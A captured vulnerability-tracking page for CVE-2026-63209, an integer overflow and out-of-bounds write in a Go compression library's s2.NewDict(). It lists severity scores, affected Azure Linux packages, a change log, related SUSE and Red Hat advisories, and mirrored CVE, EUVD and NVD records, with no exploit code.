ChangeIntel IT change radar
Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 275/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 14:22 UTC Customize Public modeDiscuss ChangeIntel on Discord
CVE-2026-63209ImportantNetwork

Integer Overflow or Wraparound and Out-of-bounds Write in compress

MSRC advisory NVD CVE.org

Assessment

Severity
Important
CVSS base score
7.5CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Impact
Not stated
EPSS · 30-day forecast
No EPSS score collected
Public detection template
No Nuclei template is listed in the current collected catalog
Exploitation detected
Unknown: not stated by MSRC
Exploitability
Not assessed
Publicly disclosed
Unknown: not stated by MSRC
Customer action
Required: follow the MSRC remediation guidance
Component
Mariner
Weakness
CWE-190: Integer Overflow or Wraparound
Issued by
GitHub_M
Published
3 Oct 2026 · September 2026
Last revised
3 Oct 2026
CVSS 3.1 base metricsRed raises the risk · green lowers it
Attack vector
NetworkAV:N
Attack complexity
LowAC:L
Privileges required
NonePR:N
User interaction
NoneUI:N
Scope
UnchangedS:U
Confidentiality
NoneC:N
Integrity
NoneI:N
Availability
HighA:H

Updates that fix it

0 KBs

No KB listed

No KB update is listed in the collected MSRC record. Check the MSRC advisory for product releases and other remedies.

Affected products

Open Source Software
2 affected products
  • azl3 keda 2.14.1-19 on Azure Linux 3.0
  • azl3 telegraf 1.31.0-33 on Azure Linux 3.0

What changed

  1. Detection template: Unknown: detection-template evidence is incomplete or retained → No Nuclei template listed
  2. Detection template: No Nuclei template listed → Unknown: detection-template evidence is incomplete or retained
  3. Detection template: Unknown: detection-template evidence is incomplete or retained → No Nuclei template listed
  4. Detection template: No Nuclei template listed → Unknown: detection-template evidence is incomplete or retained
  5. Detection template: No Nuclei template listed · Customer action: Required: apply the update → Required: follow the MSRC remediation guidance · Public disclosure: No → Unknown: not stated by MSRC · Exploitation detected: Not reported by MSRC → Unknown: not stated by MSRC
  6. Detection template: Unknown: exploit-code evidence is incomplete or retained → No Nuclei template listed · CISA KEV: Unknown: catalog evidence is incomplete or retained → Not listed in the collected catalog
  7. Detection template: No Nuclei template listed → Unknown: exploit-code evidence is incomplete or retained · CISA KEV: Not listed in the collected catalog → Unknown: catalog evidence is incomplete or retained
Page history

Changes are dated when recorded; day views use the last saved version from that UTC day, and citations stay fixed.

Cite this version
Field-level log (35)

Up to 100 recent field edits are shown; older edits may be outside retention.

  1. 6 Nov 2026 · 17:32:22 UTC Public detection templateUnknown: detection-template evidence is incomplete or retained → No Nuclei template listed
  2. 6 Nov 2026 · 17:32:22 UTC Source coverage: public-exploit-codeIncomplete → Current
  3. 6 Nov 2026 · 17:32:22 UTC Source coverage: first-epssIncomplete → Current
  4. 6 Nov 2026 · 17:32:22 UTC Source coverage: msrc-cvrfIncomplete → Current
  5. 6 Nov 2026 · 16:31:02 UTC Public detection templateNo Nuclei template listed → Unknown: detection-template evidence is incomplete or retained
  6. 6 Nov 2026 · 16:31:02 UTC Source coverage: public-exploit-codeCurrent → Incomplete
  7. 6 Nov 2026 · 16:31:02 UTC Source coverage: first-epssCurrent → Incomplete
  8. 6 Nov 2026 · 16:31:02 UTC Source coverage: msrc-cvrfCurrent → Incomplete
  9. 2 Nov 2026 · 17:30:39 UTC Public detection templateUnknown: detection-template evidence is incomplete or retained → No Nuclei template listed
  10. 2 Nov 2026 · 17:30:39 UTC Source coverage: public-exploit-codeIncomplete → Current
  11. 2 Nov 2026 · 17:30:39 UTC Source coverage: first-epssIncomplete → Current
  12. 2 Nov 2026 · 17:30:39 UTC Source coverage: msrc-cvrfIncomplete → Current
  13. 2 Nov 2026 · 16:27:39 UTC Public detection templateNo Nuclei template listed → Unknown: detection-template evidence is incomplete or retained
  14. 2 Nov 2026 · 16:27:39 UTC Source coverage: public-exploit-codeCurrent → Incomplete
  15. 2 Nov 2026 · 16:27:39 UTC Source coverage: first-epssCurrent → Incomplete
  16. 2 Nov 2026 · 16:27:39 UTC Source coverage: msrc-cvrfCurrent → Incomplete
  17. 29 Oct 2026 · 20:19:26 UTC Public detection templateNo Nuclei template listed
  18. 29 Oct 2026 · 20:19:26 UTC EPSSNot scored → No EPSS score collected
  19. 29 Oct 2026 · 20:19:26 UTC Customer actionRequired: apply the update → Required: follow the MSRC remediation guidance
  20. 29 Oct 2026 · 20:19:26 UTC Publicly disclosedNo → Unknown: not stated by MSRC
  21. 29 Oct 2026 · 20:19:26 UTC Exploitation detectedNot reported by MSRC → Unknown: not stated by MSRC
  22. 23 Oct 2026 · 09:33:49 UTC Public exploit codeUnknown: exploit-code evidence is incomplete or retained → No Nuclei template listed
  23. 23 Oct 2026 · 09:33:49 UTC CISA KEVUnknown: catalog evidence is incomplete or retained → Not listed in the collected catalog
  24. 23 Oct 2026 · 09:33:49 UTC Source coverage: public-exploit-codeIncomplete → Current
  25. 23 Oct 2026 · 09:33:49 UTC Source coverage: first-epssIncomplete → Current
  26. 23 Oct 2026 · 09:33:49 UTC Source coverage: cisa-kevIncomplete → Current
  27. 23 Oct 2026 · 09:33:49 UTC Source coverage: msrc-cvrfIncomplete → Current
  28. 23 Oct 2026 · 08:31:50 UTC Public exploit codeNo Nuclei template listed → Unknown: exploit-code evidence is incomplete or retained
  29. 23 Oct 2026 · 08:31:50 UTC CISA KEVNot listed in the collected catalog → Unknown: catalog evidence is incomplete or retained
  30. 23 Oct 2026 · 08:31:50 UTC Source coverage: public-exploit-codeCurrent → Incomplete
  31. 23 Oct 2026 · 08:31:50 UTC Source coverage: first-epssCurrent → Incomplete
  32. 23 Oct 2026 · 08:31:50 UTC Source coverage: cisa-kevCurrent → Incomplete
  33. 23 Oct 2026 · 08:31:50 UTC Source coverage: msrc-cvrfCurrent → Incomplete
  34. 18 Oct 2026 · 14:54:30 UTC Link: September 2026/security?release=2026-Sep#cves
  35. 14 Oct 2026 · 11:22:42 UTC Source coverage: msrc-cvrfIncomplete → Current

Explore global source statements, affected packages and advisory history for CVE-2026-63209. The catalog has a separate collection scope from Microsoft release records.

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-63209

Published

Integer Overflow or Wraparound and Out-of-bounds Write in compress

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Source published
29 Sep 2026 14:58:53 UTC
Source modified
29 Sep 2026 16:32:32 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2026-88977

Published

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat …

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 29, 2026, 2:58:53 PM

dateUpdated: Sep 29, 2026, 4:32:32 PM

68 related source bulletins · separate from aliases

SUSE-SU-2026:24277-1: Security update for google-osconfig-agent

CVE-2026-63209

openSUSE-SU-2026:22134-1: Security update for gh

CVE-2026-41178 · CVE-2026-59831 · CVE-2026-63209 · CVE-2026-72924 · CVE-2026-78669 · CVE-2026-84303 · CVE-2026-84304 · CVE-2026-84445

openSUSE-SU-2026:22116-1: Security update for hauler

CVE-2026-53495 · CVE-2026-63209

RHSA-2026:92303: Red Hat Security Advisory: multicluster engine for Kubernetes v2.8.12 security update

CVE-2026-33818 · CVE-2026-39822 · CVE-2026-39834 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-63209 · CVE-2026-84304 · CVE-2026-93748 · CVE-2026-106445 · CVE-2026-106446

RHSA-2026:68806: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209 · CVE-2026-71557

openSUSE-SU-2026:11939-1: amazon-cloudwatch-agent-1.300073.0-1.1 on GA media

CVE-2026-63209

RHSA-2026:92994: Red Hat Security Advisory: OpenShift Container Platform 4.21.41 bug fix and security update

CVE-2026-33814 · CVE-2026-39825 · CVE-2026-63209

SUSE-SU-2026:24153-1: Security update for distribution

CVE-2026-63209

SUSE-SU-2026:24120-1: Security update for helm

CVE-2026-63209 · CVE-2026-81870 · CVE-2026-85732

RHSA-2026:68717: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-56851 · CVE-2026-63209 · CVE-2026-81871 · CVE-2026-81872 · CVE-2026-93450

RHSA-2026:72493: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2024-24786 · CVE-2026-63209 · CVE-2026-93450

RHSA-2026:70726: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

RHSA-2026:89198: Red Hat Security Advisory: OpenShift Container Platform 4.22.20 bug fix and security update

CVE-2026-33814 · CVE-2026-39821 · CVE-2026-42502 · CVE-2026-63209 · CVE-2026-93017 · CVE-2026-104795 · CVE-2026-107176 · CVE-2026-111943

openSUSE-SU-2026:11957-1: distribution-registry-3.1.1-9.1 on GA media

CVE-2026-63209

RHSA-2026:72570: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2024-24786 · CVE-2026-21729 · CVE-2026-56851 · CVE-2026-63209 · CVE-2026-93450

RHSA-2026:79368: Red Hat Security Advisory: Red Hat OpenShift distributed tracing platform (Tempo) 3.11.2 release

CVE-2026-63209 · CVE-2026-83663 · CVE-2026-84445 · CVE-2026-94637

RHSA-2026:72498: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-61709 · CVE-2026-63209 · CVE-2026-93450 · CVE-2026-102422

RHSA-2026:68729: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-56851 · CVE-2026-63209 · CVE-2026-81871 · CVE-2026-81872 · CVE-2026-93450

openSUSE-SU-2026:12186-1: rqlite-10.6.1-1.1 on GA media

CVE-2026-63209 · CVE-2026-84304 · CVE-2026-84445 · CVE-2026-89090

RHSA-2026:72496: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2024-24786 · CVE-2026-56851 · CVE-2026-63209 · CVE-2026-93450

RHSA-2026:92510: Red Hat Security Advisory: RHOAI 3.4.6 - Red Hat OpenShift AI

CVE-2023-54404 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-13717 · CVE-2026-16221 · CVE-2026-17106 · CVE-2026-18446 · CVE-2026-25681 · CVE-2026-26007 · CVE-2026-27136 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-39821 · CVE-2026-39834 · CVE-2026-41178 · CVE-2026-42502 · CVE-2026-45819 · CVE-2026-45820 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-57516 · CVE-2026-59951 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-65898 · CVE-2026-67312 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69097 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73643 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-76844 · CVE-2026-77301 · CVE-2026-78679 · CVE-2026-82397 · CVE-2026-83663 · CVE-2026-84375 · CVE-2026-84445 · CVE-2026-85393 · CVE-2026-85525 · CVE-2026-87018 · CVE-2026-90711 · CVE-2026-91990 · CVE-2026-92599 · CVE-2026-93690 · CVE-2026-93749 · CVE-2026-94637 · CVE-2026-96640 · CVE-2026-96643 · CVE-2026-96644 · CVE-2026-96778 · CVE-2026-96804 · CVE-2026-97687 · CVE-2026-97689 · CVE-2026-102267 · CVE-2026-102271 · CVE-2026-102272 · CVE-2026-102276 · CVE-2026-102278 · CVE-2026-102282 · CVE-2026-104150 · CVE-2026-104851 · CVE-2026-105922 · CVE-2026-106445 · CVE-2026-106446 · CVE-2026-109156 · CVE-2026-109383 · CVE-2026-109527 · CVE-2026-109829 · CVE-2026-109869 · CVE-2026-109956 · CVE-2026-110856 · CVE-2026-110857 · CVE-2026-110858 · CVE-2026-110859 · CVE-2026-111064 · CVE-2026-111066 · CVE-2026-111497 · CVE-2026-112390 · CVE-2026-112391 · CVE-2026-112392 · CVE-2026-112397 · CVE-2026-112399 · CVE-2026-112400 · CVE-2026-112402 · CVE-2026-112404 · CVE-2026-112405 · CVE-2026-112893 · CVE-2026-112894 · CVE-2026-112895 · CVE-2026-112896 · CVE-2026-112897 · CVE-2026-112940 · CVE-2026-114145

openSUSE-SU-2026:11955-1: cadvisor-0.60.6-1.1 on GA media

CVE-2026-63209

openSUSE-SU-2026:12163-1: gh-2.102.0-1.1 on GA media

CVE-2026-41178 · CVE-2026-59831 · CVE-2026-63209 · CVE-2026-72924 · CVE-2026-78669 · CVE-2026-84304 · CVE-2026-84445

openSUSE-SU-2026:22117-1: Security update for cadvisor

CVE-2026-63209

RHSA-2026:70670: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

openSUSE-SU-2026:11964-1: helm3-3.22.0-3.1 on GA media

CVE-2026-63209

RHSA-2026:54419: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

RHSA-2026:92307: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.13.14 security update

CVE-2026-14199 · CVE-2026-15815 · CVE-2026-33818 · CVE-2026-37236 · CVE-2026-39834 · CVE-2026-56853 · CVE-2026-56854 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-63209 · CVE-2026-77354 · CVE-2026-77405 · CVE-2026-77411 · CVE-2026-84304 · CVE-2026-84375 · CVE-2026-84445 · CVE-2026-88031 · CVE-2026-93748 · CVE-2026-106445 · CVE-2026-106446

RHSA-2026:68272: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209 · CVE-2026-81872 · CVE-2026-93450

SUSE-SU-2026:24282-1: Security update for helm

CVE-2026-33814 · CVE-2026-35204 · CVE-2026-35205 · CVE-2026-35206 · CVE-2026-41178 · CVE-2026-41888 · CVE-2026-48978 · CVE-2026-50151 · CVE-2026-50163 · CVE-2026-56852 · CVE-2026-56854 · CVE-2026-56855 · CVE-2026-56864 · CVE-2026-56865 · CVE-2026-63209 · CVE-2026-78662 · CVE-2026-81870 · CVE-2026-81871 · CVE-2026-81872 · CVE-2026-85732

SUSE-SU-2026:24247-1: Security update for helm

CVE-2026-63209 · CVE-2026-81870 · CVE-2026-85732

openSUSE-SU-2026:11961-1: google-osconfig-agent-20260928.01-1.1 on GA media

CVE-2026-63209

RHSA-2026:87410: Red Hat Security Advisory: RHOAI 2.25.12 - Red Hat OpenShift AI

CVE-2024-12224 · CVE-2025-14920 · CVE-2025-14921 · CVE-2025-14924 · CVE-2025-14925 · CVE-2025-14926 · CVE-2025-14927 · CVE-2025-14928 · CVE-2025-14929 · CVE-2025-14930 · CVE-2025-61726 · CVE-2025-61729 · CVE-2026-5241 · CVE-2026-5497 · CVE-2026-6734 · CVE-2026-8643 · CVE-2026-9697 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-12151 · CVE-2026-12860 · CVE-2026-15143 · CVE-2026-15574 · CVE-2026-15679 · CVE-2026-15925 · CVE-2026-16221 · CVE-2026-18427 · CVE-2026-18446 · CVE-2026-18949 · CVE-2026-19481 · CVE-2026-19484 · CVE-2026-19534 · CVE-2026-25681 · CVE-2026-25960 · CVE-2026-27136 · CVE-2026-28390 · CVE-2026-28684 · CVE-2026-31812 · CVE-2026-32283 · CVE-2026-33186 · CVE-2026-33805 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-34993 · CVE-2026-39821 · CVE-2026-39852 · CVE-2026-39892 · CVE-2026-40682 · CVE-2026-41178 · CVE-2026-42502 · CVE-2026-42561 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44660 · CVE-2026-44705 · CVE-2026-45820 · CVE-2026-47219 · CVE-2026-48526 · CVE-2026-48710 · CVE-2026-48746 · CVE-2026-49114 · CVE-2026-49825 · CVE-2026-49855 · CVE-2026-50559 · CVE-2026-54283 · CVE-2026-54399 · CVE-2026-54428 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56121 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-58059 · CVE-2026-59296 · CVE-2026-59879 · CVE-2026-59884 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-59899 · CVE-2026-62243 · CVE-2026-62384 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-65898 · CVE-2026-65918 · CVE-2026-66007 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67312 · CVE-2026-68494 · CVE-2026-68497 · CVE-2026-68770 · CVE-2026-69097 · CVE-2026-69112 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71281 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73415 · CVE-2026-73417 · CVE-2026-73502 · CVE-2026-73508 · CVE-2026-73620 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-73627 · CVE-2026-73646 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76098 · CVE-2026-76169 · CVE-2026-76172 · CVE-2026-76222 · CVE-2026-76905 · CVE-2026-77354 · CVE-2026-77874 · CVE-2026-78676 · CVE-2026-78677 · CVE-2026-78679 · CVE-2026-78682 · CVE-2026-79674 · CVE-2026-79675 · CVE-2026-80205 · CVE-2026-81722 · CVE-2026-81724 · CVE-2026-81727 · CVE-2026-82397 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84428 · CVE-2026-84445 · CVE-2026-84469 · CVE-2026-84504 · CVE-2026-84782 · CVE-2026-84961 · CVE-2026-85124 · CVE-2026-85152 · CVE-2026-85525 · CVE-2026-86049 · CVE-2026-86332 · CVE-2026-87776 · CVE-2026-87817 · CVE-2026-87819 · CVE-2026-88029 · CVE-2026-88031 · CVE-2026-89418 · CVE-2026-89425 · CVE-2026-91777 · CVE-2026-91990 · CVE-2026-92599 · CVE-2026-93599 · CVE-2026-93657 · CVE-2026-93749 · CVE-2026-96749 · CVE-2026-102831 · CVE-2026-102925 · CVE-2026-102930 · CVE-2026-102937 · CVE-2026-102938 · CVE-2026-103262 · CVE-2026-104851 · CVE-2026-105744

RHSA-2026:86891: Red Hat Security Advisory: RHOAI 3.5.2 - Red Hat OpenShift AI

CVE-2024-14029 · CVE-2026-13697 · CVE-2026-15679 · CVE-2026-15789 · CVE-2026-18427 · CVE-2026-19534 · CVE-2026-37237 · CVE-2026-49825 · CVE-2026-49855 · CVE-2026-54284 · CVE-2026-56859 · CVE-2026-59296 · CVE-2026-59893 · CVE-2026-62243 · CVE-2026-62384 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-66007 · CVE-2026-68494 · CVE-2026-68497 · CVE-2026-69097 · CVE-2026-69112 · CVE-2026-69152 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71281 · CVE-2026-71491 · CVE-2026-73417 · CVE-2026-73502 · CVE-2026-73508 · CVE-2026-73646 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76098 · CVE-2026-76169 · CVE-2026-76172 · CVE-2026-76222 · CVE-2026-76905 · CVE-2026-77354 · CVE-2026-77874 · CVE-2026-78676 · CVE-2026-78677 · CVE-2026-78679 · CVE-2026-78682 · CVE-2026-79674 · CVE-2026-79675 · CVE-2026-80205 · CVE-2026-81722 · CVE-2026-81724 · CVE-2026-81725 · CVE-2026-81726 · CVE-2026-81727 · CVE-2026-82397 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84381 · CVE-2026-84382 · CVE-2026-84394 · CVE-2026-84428 · CVE-2026-84445 · CVE-2026-84469 · CVE-2026-84504 · CVE-2026-84782 · CVE-2026-84961 · CVE-2026-85124 · CVE-2026-85152 · CVE-2026-85525 · CVE-2026-86332 · CVE-2026-87776 · CVE-2026-87817 · CVE-2026-87819 · CVE-2026-88029 · CVE-2026-88031 · CVE-2026-89425 · CVE-2026-91990 · CVE-2026-93348 · CVE-2026-93599 · CVE-2026-93657 · CVE-2026-93749 · CVE-2026-96749 · CVE-2026-96775 · CVE-2026-102925 · CVE-2026-102930 · CVE-2026-102937 · CVE-2026-102938 · CVE-2026-102990 · CVE-2026-104851 · CVE-2026-104852 · CVE-2026-104861 · CVE-2026-104873

RHSA-2026:70031: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

openSUSE-SU-2026:22140-1: Security update for aliyun-cli

CVE-2026-63209

RHSA-2026:68808: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209 · CVE-2026-71557

openSUSE-SU-2026:22227-1: Security update for go-containerregistry

CVE-2025-22868 · CVE-2026-116591 · CVE-2026-63209

SUSE-SU-2026:24131-1: Security update for google-osconfig-agent

CVE-2026-63209

RHSA-2026:83013: Red Hat Security Advisory: Logging for Red Hat OpenShift - 6.0.17

CVE-2026-18140 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-29181 · CVE-2026-32283 · CVE-2026-32285 · CVE-2026-33186 · CVE-2026-33818 · CVE-2026-35469 · CVE-2026-41178 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42499 · CVE-2026-42502 · CVE-2026-46600 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-63209 · CVE-2026-84445

RHSA-2026:95081: Red Hat Security Advisory: Cluster Observability Operator - 1.5

CVE-2026-19534 · CVE-2026-27145 · CVE-2026-33818 · CVE-2026-39821 · CVE-2026-39822 · CVE-2026-39834 · CVE-2026-42504 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-63209 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-77301 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84304 · CVE-2026-84375 · CVE-2026-84445 · CVE-2026-84961 · CVE-2026-85152 · CVE-2026-87018 · CVE-2026-102276 · CVE-2026-102278 · CVE-2026-109383 · CVE-2026-109829 · CVE-2026-109855 · CVE-2026-109869

SUSE-SU-2026:24261-1: Security update for aliyun-cli

CVE-2026-63209

RHSA-2026:72491: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-63209 · CVE-2026-93450

RHSA-2026:72507: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-63209 · CVE-2026-81842 · CVE-2026-93450 · CVE-2026-102422

RHSA-2026:54413: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

openSUSE-SU-2026:22224-1: Security update for rqlite

CVE-2026-39821 · CVE-2026-63209 · CVE-2026-84303 · CVE-2026-84304 · CVE-2026-84445 · CVE-2026-89090

RHSA-2026:92593: Red Hat Security Advisory: Logging for Red Hat OpenShift - 6.6.2

CVE-2026-41178 · CVE-2026-42499 · CVE-2026-63209 · CVE-2026-77619 · CVE-2026-84304 · CVE-2026-84445

openSUSE-SU-2026:22039-1: Security update for distribution

CVE-2026-63209

RHSA-2026:58472: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-56851 · CVE-2026-63209

RHSA-2026:94498: Red Hat Security Advisory: Red Hat OpenShift API for Data Protection - 1.4.12

CVE-2026-27145 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-39821 · CVE-2026-39833 · CVE-2026-39834 · CVE-2026-41178 · CVE-2026-42504 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-63209 · CVE-2026-84445

RHSA-2026:72492: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-63209 · CVE-2026-93450 · CVE-2026-104994

RHSA-2026:70684: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

RHSA-2026:92515: Red Hat Security Advisory: Logging for Red Hat OpenShift - 6.6.2

CVE-2026-41178 · CVE-2026-42499 · CVE-2026-63209 · CVE-2026-77619 · CVE-2026-84304 · CVE-2026-84445

openSUSE-SU-2026:22057-1: Security update for helm

CVE-2026-63209 · CVE-2026-81870 · CVE-2026-85732

RHSA-2026:72497: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-9496 · CVE-2026-63209 · CVE-2026-93450

openSUSE-SU-2026:11962-1: hauler-2.1.1-1.1 on GA media

CVE-2026-63209

RHSA-2026:68591: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209 · CVE-2026-81872 · CVE-2026-93450

openSUSE-SU-2026:11960-1: crane-0.22.1-2.1 on GA media

CVE-2026-63209

openSUSE-SU-2026:11953-1: aliyun-cli-3.5.1-2.1 on GA media

CVE-2026-63209

SUSE-SU-2026:24222-1: Security update for google-osconfig-agent

CVE-2026-63209

RHSA-2026:72490: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-63209 · CVE-2026-93450

msrc_CVE-2026-63209: Integer Overflow or Wraparound and Out-of-bounds Write in compress

CVE-2026-63209

openSUSE-SU-2026:12114-1: alloy-1.20.1-1.1 on GA media

CVE-2026-14362 · CVE-2026-63209 · CVE-2026-81871 · CVE-2026-81872 · CVE-2026-84303 · CVE-2026-84304 · CVE-2026-84445

openSUSE-SU-2026:22078-1: Security update for google-osconfig-agent

CVE-2026-63209

RHSA-2026:68290: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209 · CVE-2026-77403 · CVE-2026-77404 · CVE-2026-77406 · CVE-2026-77407 · CVE-2026-77409 · CVE-2026-77410 · CVE-2026-77412 · CVE-2026-81872 · CVE-2026-93450

SUSE-SU-2026:4554-1: Security update for google-osconfig-agent

CVE-2026-63209

openSUSE-SU-2026:11963-1: helm-4.3.0-4.1 on GA media

CVE-2026-63209 · CVE-2026-81870

RHSA-2026:68256: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

Source published
Sep 29, 2026, 2:58:53 PM (timezone not stated)
Source modified
Sep 29, 2026, 4:32:32 PM (timezone not stated)
Observed here
7 Nov 2026 13:29:09 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

nvd · CVE-2026-63209

Published

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat …

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-190 · CWE-787

Original publisher date fields

published: 2026-09-29T15:17:27.130

lastModified: 2026-09-30T19:57:08.043

Source published
29 Sep 2026 15:17:27 UTC
Source modified
30 Sep 2026 19:57:08 UTC
Observed here
25 Oct 2026 14:19:28 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

